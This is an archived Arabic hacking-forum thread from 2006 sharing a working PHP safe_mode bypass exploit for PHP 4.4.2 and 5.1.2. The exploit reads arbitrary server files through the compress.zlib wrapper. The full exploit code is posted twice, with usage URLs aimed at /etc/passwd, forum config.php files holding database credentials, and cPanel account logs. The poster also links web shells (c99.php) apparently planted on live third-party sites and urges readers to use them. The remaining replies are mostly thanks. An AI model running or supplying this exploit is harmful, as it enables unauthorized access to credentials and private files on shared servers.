المساعد الشخصي الرقمي

مشاهدة النسخة كاملة : ثغره بال PHP 4.4.2 and PHP 5.1.2


قائد
19-05-2006, 12:11
بسم الله الرحمن الرحيم الثغره هاذي تسمحلك بقرائة ملفات السريفر


<?php
/*
Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2
by Maksymilian Arciemowicz SecurityReason.Com
cxib [at] securityreason [dot] com and max [at] jestsuper [dot] pl
pozdro sp3x
*/


$file=""; // File to Include... or use _GET _POST
$tymczas=""; // Set $tymczas to dir where you have 777 like /var/tmp



echo "<PRE>\n";
if(empty($file)){
if(empty($_GET['file'])){
if(empty($_POST['file'])){
die("\nSet varibles \$tymczas, \$file or use for varible file POST, GET like
?file=/etc/passwd\n <B><CENTER><FONT
COLOR=\"RED\">SecurityReason.Com
Exploit</FONT></CENTER></B>");
} else {
$file=$_POST['file'];
}
} else {
$file=$_GET['file'];
}
}

$temp=tempnam($tymczas, "cx");

if(copy("compress.zlib://".$file, $temp)){
$zrodlo = fopen($temp, "r");
$tekst = fread($zrodlo, filesize($temp));
fclose($zrodlo);
echo "<B>--- Start File ".htmlspecialchars($file)."
-------------</B>\n".htmlspecialchars($tekst)."\n<B>--- End File
".htmlspecialchars($file)." ---------------\n";
unlink($temp);
die("\n<FONT COLOR=\"RED\"><B>File
".htmlspecialchars($file)." has been already loaded. SecurityReason Team
;]</B></FONT>");
} else {
die("<FONT COLOR=\"RED\"><CENTER>Sorry... File
<B>".htmlspecialchars($file)."</B> dosen't exists or you don't have
access.</CENTER></FONT>");
}
?>

ارفع الملف عن طريق الشل الى اي ملف يحمل تصريح 777 واقرا ملفات الرسيفر والسيف مود اون

وطريقة التطبيق كذا http://www.xxx.com/xxx.php?file=/etc/passwd

و http://www.xxx.com/xxx.php?file=/home/user/public_html/vb/includes/config.php

و
http://www.xxx.com/xxx.php?file=/var/cpanel/accounting.log

يالربع ابعطيكم شل هديه وابيكم تطبقون الطريقه الي قلتلكم عليها وابي اشوف همتكم بالشل

http://war.gi-squad.com/upload/c99.php

وهذا التطبيق http://war.gi-squad.com/upload/151.php?file=/etc/passwd

AMC
19-05-2006, 12:16
ماتقصر ويعطيك العافيه

قائد
19-05-2006, 12:20
الله يعافيك اخوي وحيااك الله

mohandko
19-05-2006, 03:47
هلا بس ما بتقدر تخش على المواقع الى على السرفر ليش ما هى المشكلة ولا هو بيعرض المواقع فقط


منطظر ردك وشكرا يا باشا على مواضيعك

تقبل تحياتى

قائد
19-05-2006, 04:59
شكلك مافهمت علي ياقلبي فقط تقرا معلومات يعني لو كتبت الامر http://www.xxx.com/xxx.php?file=id

يطلع لك خطا لئنك مالك صلاحيات على الموقع ولا شي فقط تقرا ملفات السريفر

وهذا شل ثاااااني لئن الشل هذاك مدري وش فيه مايفتح عندي

http://team-ta.com/vWar/upload/c99.php


وهذا تطبيق اخر
http://team-ta.com/vWar/upload/151.php?file=/etc/passwd

DARK EVIL
19-05-2006, 05:40
الف شكر اخوى..بارك الله فيك

AvIrL@BoY@LoVeR
19-05-2006, 07:03
يعطيك العافيه يالغلاا


سيـ,, يو

قائد
19-05-2006, 09:50
DARK EVIL


حنى بالخدمه اخوى


AvIrL@BoY@LoVeR

الله يعافيك ياقلبي وشاكر لك مرورك

عز الرجال
20-05-2006, 12:51
أخوي mohandko
هذا الشل الخاص بتخطي السيف مود


<?php
/*
Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2
by Maksymilian Arciemowicz SecurityReason.Com
cxib [at] securityreason [dot] com and max [at] jestsuper [dot] pl
pozdro sp3x
*/


$file=""; // File to Include... or use _GET _POST
$tymczas=""; // Set $tymczas to dir where you have 777 like /var/tmp



echo "<PRE>\n";
if(empty($file)){
if(empty($_GET['file'])){
if(empty($_POST['file'])){
die("\nSet varibles \$tymczas, \$file or use for varible file POST, GET like
?file=/etc/passwd\n <B><CENTER><FONT
COLOR=\"RED\">SecurityReason.Com
Exploit</FONT></CENTER></B>");
} else {
$file=$_POST['file'];
}
} else {
$file=$_GET['file'];
}
}

$temp=tempnam($tymczas, "cx");

if(copy("compress.zlib://".$file, $temp)){
$zrodlo = fopen($temp, "r");
$tekst = fread($zrodlo, filesize($temp));
fclose($zrodlo);
echo "<B>--- Start File ".htmlspecialchars($file)."
-------------</B>\n".htmlspecialchars($tekst)."\n<B>--- End File
".htmlspecialchars($file)." ---------------\n";
unlink($temp);
die("\n<FONT COLOR=\"RED\"><B>File
".htmlspecialchars($file)." has been already loaded. SecurityReason Team
;]</B></FONT>");
} else {
die("<FONT COLOR=\"RED\"><CENTER>Sorry... File
<B>".htmlspecialchars($file)."</B> dosen't exists or you don't have
access.</CENTER></FONT>");
}
?>



طريقة أستخدامه على النحو التالي

لأستعراض المواقع الموجودة على نفس السيرفر
http://www.site.com/saf1.php?file=/var/cpanel/accounting.log


لقراء ملف الكونفج للمنتديات

http://www.site.com/saf1.php?file=/home/user/public_html/vb/includes/config.php

فـ الحربي ـهد
22-05-2006, 03:57
الله يعطيكم الف عافيه يا شباب

وشكرا...

_Neo__The_OnE
22-05-2006, 06:36
مشكور والله قائد ما قصرت والله

شكرااااااااا

قائد
25-05-2006, 06:33
Neo__The_OnE

حياك الله اخوووي

deltaman1
15-02-2007, 04:52
السام عليكم ورحمه الله وبركاته
مشكور جدا على هذا الموضوع الرائع ولكن لى استفسار عن الشل المضاف لقراءه الملفات فعند التنفيذ يظهر التالى
Notice: copy(): Unable to find the wrapper "compress.zlib" - did you forget to enable it when you configured PHP?
و التالى
Warning: copy(compress.zlib:///home): failed to open stream: No such file or directory in
والتالى ايضا
Sorry... File
/home dosen't exists or you don't have
access.
فهل هناك خطا برمجى بالسطر 33 ام انى لا املك الصلاحيات فى هذه الحاله وشكرا جزيلا

m2m2
11-03-2007, 05:33
ثانكس ثانكس ثانكس ثانكس ثانكس ثانكس ثانكس ثانكس